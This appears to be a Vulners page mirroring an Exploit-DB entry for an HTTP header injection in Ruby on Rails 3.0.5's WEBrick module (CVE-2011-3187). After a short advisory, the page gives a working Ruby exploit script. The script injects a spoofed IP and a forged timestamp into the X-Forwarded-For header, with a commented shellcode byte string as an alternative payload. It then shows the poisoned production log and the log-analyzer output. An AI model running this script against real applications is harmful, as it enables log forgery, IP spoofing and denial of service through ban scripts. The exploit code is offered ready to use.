Lucene search
+L

Ruby on Rails 3.0.5 - 'WEBrick::HTTPRequest' Module HTTP Header Injection

🗓️ 16 Feb 2011 00:00:00Reported by Jimmy BanditType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 57 Views

Ruby on Rails 3.0.5 HTTP Header Injection vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2011-3187
16 Feb 201100:00
circl
CVE
CVE-2011-3187
29 Aug 201118:00
cve
Cvelist
CVE-2011-3187
29 Aug 201118:00
cvelist
Debian CVE
CVE-2011-3187
29 Aug 201118:00
debiancve
EUVD
EUVD-2017-0159
7 Oct 202500:30
euvd
Github Security Blog
actionpack Improper Input Validation vulnerability
24 Oct 201718:33
github
GitLab Advisory Database
Improper Input Validation
24 Oct 201700:00
gitlab
NVD
CVE-2011-3187
29 Aug 201118:55
nvd
OpenVAS
Ruby on Rails Logfile Injection Vulnerability (Mar 2011)
22 Mar 201100:00
openvas
OSV
DEBIAN-CVE-2011-3187
29 Aug 201118:55
osv
Rows per page
source: https://www.securityfocus.com/bid/46423/info

Ruby on Rails is prone to a vulnerability that allows attackers to inject arbitrary content into the 'X-Forwarded-For', 'X-Forwarded-Host' and 'X-Forwarded-Server' HTTP headers because the 'WEBrick::HTTPRequest' module fails to sufficiently sanitize input.

By inserting arbitrary data into the affected HTTP header field, attackers may be able to launch cross-site request-forgery, cross-site scripting, HTML-injection, and other attacks.

NOTE: This issue only affects requests sent from clients on the same subnet as the server.

Ruby on Rails 3.0.5 is vulnerable; other versions may also be affected.

#Encoding: UTF-8
#
# Log-File-Injection - Ruby on Rails 3.05
# possibilities:
# - possible date back attacks (tried with request-log-analyzer: worked but teaser_check_warnings)
# - ip spoofing
# - binary log-injections
# - DOS if ip is used with an iptables-ban-script
#
# !! works only on intranet apps !!
#
# Fix:
# validate request.remote_ip until they fix it
# -----------------------
# jimmybandit.com
# http://webservsec.blogspot.com

require 'rubygems'
require 'mechanize'
require 'iconv'

ip = "192.168.1.21 "
# some shell code just for binary-data demo

payload = ip + "at Mon Jan 01 00:00:00 +1000 2009\x0D\0x0A"    # date back attacks with ipspoofing
# payload = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"      binarypayload is also possible

a = Mechanize.new
a.pre_connect_hooks << lambda { |p| p[:request]['X-Forwarded-For'] = payload }

page = a.get('http://192.168.1.21/people')

# results
=begin
################################
production.log:
################################
Started GET "/people" for 192.168.1.21 at Mon Jan 01 00:00:00 +1000 2009 at Sun Mar 13 17:47:47 +0100 2011
  Processing by PeopleController#index as
Rendered people/index.html.erb within layouts/application (24.4ms)
Completed 200 OK in 63ms (Views: 32.9ms | ActiveRecord: 3.6ms)

################################
request-log-analyzer:
################################
web@debian:~/testapp/log$ request-log-analyzer production.log
Request-log-analyzer, by Willem van Bergen and Bart ten Brinke - version 1.10.0
Website: http://railsdoctors.com

production.log:          100% [==========] Time: 00:00:00

Request summary
???????????????????????
Parsed lines:        14
Skipped lines:       0   <-------
Parsed requests:     7   <-------
Skipped requests:    0
Warnings:            teaser_check_failed: 7

First request:       2009-01-01 00:00:12
Last request:        2009-01-01 00:00:12
Total time analyzed: 0 days
Request distribution per hour
????????????????????????????
  0:00 ? 7 hits/day ? ���������������������������������
  1:00 ? 0 hits/day ?
  ...
=end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Nov 2014 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 24.3
EPSS0.06666
57